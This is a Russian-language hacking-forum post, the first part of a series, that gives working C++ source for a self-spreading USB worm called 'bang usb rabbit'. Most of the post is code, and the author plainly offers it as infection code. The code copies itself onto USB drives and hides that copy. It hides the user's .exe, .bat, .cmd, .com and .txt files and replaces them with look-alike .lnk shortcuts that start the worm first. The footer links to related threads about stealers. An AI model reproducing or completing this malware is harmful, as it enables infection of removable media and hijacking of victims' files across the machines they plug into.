Статья bang usb rabbit [1]

Admin

Администратор

bang usb rabbit [1]​


Дамы и Господа, позвольте вам представить, взрывного кролика!

Кролик весьма игривое-пакостное существо, и когда он видит файлы в которых он не побывал, он сразу же это исправляет :D
Затем как истинный любитель свободы он садится на поезд usb и идёт до следующей остановки.
Но так как кролик размножается, он всегда оставляет своих детишек, что бы всем было неповадно :D
Данный код поддерживает работу как с уже подключенными, так и с новыми usb в режиме реального времени.
В данном посте вы увидите МОЁ видение автозаражения usb флэшек.
ЯП исключительно ваш любимый С++ (страдайте, бугагага)

Часть 1
Подключение, создание lnk, сокрытие, запуск.

Подключаем либы,дифайны,инклюды
C++:
#define UNICODE
#define _UNICODE

#include <windows.h>
#include <tlhelp32.h>
#include <shobjidl.h>
#include <shlobj.h>
#include <filesystem>
#include <vector>
#include <string>
#include <iostream>
#include <exdisp.h>
#include <shlguid.h>
#include <shlwapi.h>
#include <winioctl.h>
#include <set>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "shlwapi.lib")

Объявляем глобальную переменную g_selfName где мы будем хранить имя нашего исполняемого файла.
и др.
C++:
namespace fs = std::filesystem;
fs::path g_selfName;
Функция extensions была создана что бы вы лично выбирали какой формат файлов мы будем заражать.
C++:
const std::vector<std::wstring> extensions = {
L".exe", L".bat", L".cmd", L".com", L".txt"
};
Функция проверяет найденное расширение файла из списка разрешённых.
C++:
bool hasTargetExtension(const fs::path& p) {
for (auto& e : extensions)
if (_wcsicmp(p.extension().c_str(), e.c_str()) == 0)
return true;
return false;
}
Из названия можно понять, что данная функция проверяет, что найденный файл является нашим, и мы его пропускаем, нах нам его заражать.
C++:
bool isMyFile(const fs::path& p) {
return _wcsicmp(p.filename().c_str(), g_selfName.c_str()) == 0;
}
Скрываем оригинальный файл, что бы затем сделать на него ярлык.
C++:
void hideFile(const fs::path& p) {
DWORD a = GetFileAttributesW(p.c_str());
if (a != INVALID_FILE_ATTRIBUTES)
SetFileAttributesW(p.c_str(), a | FILE_ATTRIBUTE_HIDDEN);
}
Функция для запуска файла
C++:
void launchArgument(const wchar_t* arg) {
if (!arg || !*arg) return;
ShellExecuteW(nullptr, L"open", arg, nullptr, nullptr, SW_SHOWNORMAL);
}
Моя считалочка кроликов, 1 процесс хорошо, значит мы сидим в системе, 2 процесса плохо!
Значит мы уже заразили, и нам не нужно оставаться, мы лишь запускаем кликнутый файл и выходим.
C++:
int countMyProcess() {
wchar_t selfPath[MAX_PATH];
GetModuleFileNameW(nullptr, selfPath, MAX_PATH);
fs::path selfName = fs::path(selfPath).filename();
int count = 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
return 1;

PROCESSENTRY32W pe{};
pe.dwSize = sizeof(pe);
if (Process32FirstW(snap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, selfName.c_str()) == 0)
count++;
} while (Process32NextW(snap, &pe));
}
CloseHandle(snap);
return count;
}

Сладкое создание ярлыков.
Создаём ярлык с указанием моего скопированного файла на флэшку как оригинал.
Далее указываем иконкой оригинальный файл, ЕСЛИ файл txt то используем системную иконку.
Аргументом у нас представляется сам ориг файл

C++:
void createShortcut(const fs::path& original, const fs::path& PathR) {
fs::path lnk = original;
lnk += L".lnk";
if (fs::exists(lnk)) return;
IShellLinkW* link = nullptr;
IPersistFile* file = nullptr;

if (FAILED(CoCreateInstance(
CLSID_ShellLink, nullptr, CLSCTX_INPROC_SERVER,
IID_IShellLinkW, (void**)&link)))
return;

link->SetPath(PathR.c_str());
std::wstring args = L"\"" + original.wstring() + L"\"";
link->SetArguments(args.c_str());
link->SetWorkingDirectory(PathR.parent_path().c_str());

if (_wcsicmp(original.extension().c_str(), L".txt") == 0)
link->SetIconLocation(L"%SystemRoot%\\System32\\imageres.dll", -102);
else
link->SetIconLocation(original.c_str(), 0);

if (SUCCEEDED(link->QueryInterface(IID_IPersistFile, (void**)&file))) {
file->Save(lnk.c_str(), TRUE);
file->Release();
}
link->Release();
}

Проверяем существует ли диск-папка куда мы будем копировать наш файл
Является ли директорией
Есть ли к ней доступ-права
Если происходит какая то ошибка сразу выходим.

C++:
bool processRootSafe(const fs::path& rootDir)
{
Sleep(300);
if (!fs::exists(rootDir) || !fs::is_directory(rootDir))
return false;
std::error_code ec;
fs::directory_iterator test(rootDir, ec);
if (ec) return false;

fs::path PathR = rootDir / g_selfName.c_str();
if (fs::exists(PathR))
return false;
wchar_t exePath[MAX_PATH];
GetModuleFileNameW(nullptr, exePath, MAX_PATH);
fs::path exeDir = fs::path(exePath).parent_path();
fs::path MyPSource = exeDir / g_selfName.c_str();

if (!fs::exists(MyPSource))
return false;
try {
fs::copy_file(MyPSource, PathR,
fs::copy_options::overwrite_existing);
}
catch (...) {
return false;
}

hideFile(PathR);
try {
for (auto& e : fs::recursive_directory_iterator(
rootDir,
fs::directory_options::skip_permission_denied))
{
if (!e.is_regular_file()) continue;
const fs::path& f = e.path();
if (isMyFile(f)) continue;
if (!hasTargetExtension(f)) continue;
createShortcut(f, PathR);
hideFile(f);
}
}
catch (...) {
return false;
}
return true;
}


Нормализовываем путь, что бы F:\test\,F:\test\\ и F:\test считались одним и тем же путём
C++:
std::wstring normalizePath(const std::wstring& p)
{
wchar_t buf[MAX_PATH];
GetFullPathNameW(p.c_str(), MAX_PATH, buf, nullptr);
std::wstring out = buf;

if (!(out.size() == 3 && out[1] == L':' && out[2] == L'\\'))
{
while (!out.empty() && out.back() == L'\\')
out.pop_back();
}
return out;
}
 
Похожие темы
Admin Статья bang usb rabbit [FULL CODE] Вирусология 0
Admin Статья bang usb rabbit [2] Вирусология 0
Support81 USB Linux без следов стал ещё тише. Tails теперь прячет Tor в потоке «обычного» интернета Новости в сети 0
Support81 Новый USB-червь "LitterDrifter" выявлен в целевых атаках Новости в сети 0
Support81 Ностальгическая вспышка: USB-носители снова используются для распространения вредоносного софта Новости в сети 0
H Посоветуйте бюджетные USB Wi-Fi адаптеры для вардрайвинга Уязвимости и взлом 4
9 Интересно Сравнение Анонимных Live USB систем.TAILS vs Kodachi Анонимность и приватность 2
H Как установить macOS на USB-накопитель Полезные статьи 0
АнАлЬнАя ЧуПаКаБрА Интересно USB крипто хайп Готовый софт 1
S Как перепрошить китайские смарт часы без micro usb? Свободное общение 5
M USB флешка-стиллер своими руками Программирование 1
M BitLocker пароль на USB / Шифрование Анонимность и приватность 0
S WHID: WiFi HID инжектор USB Rubberducky Уязвимости и взлом 0
A USB-контрацептивы для защиты oт утечки дaнных устрoйства Анонимность и приватность 0
T Делаем USB-Backdoor из Raspberry Pi Zero W и P4wnP1 Полезные статьи 0
M Блокировка USB при помощи программы. Уязвимости и взлом 0
E Заражаем жертву с помощью USB Уязвимости и взлом 1
F Основные недостатки безопасности USB Полезные статьи 2
M [USB]Стиллер или флешка ВОР) Готовый софт 40

Название темы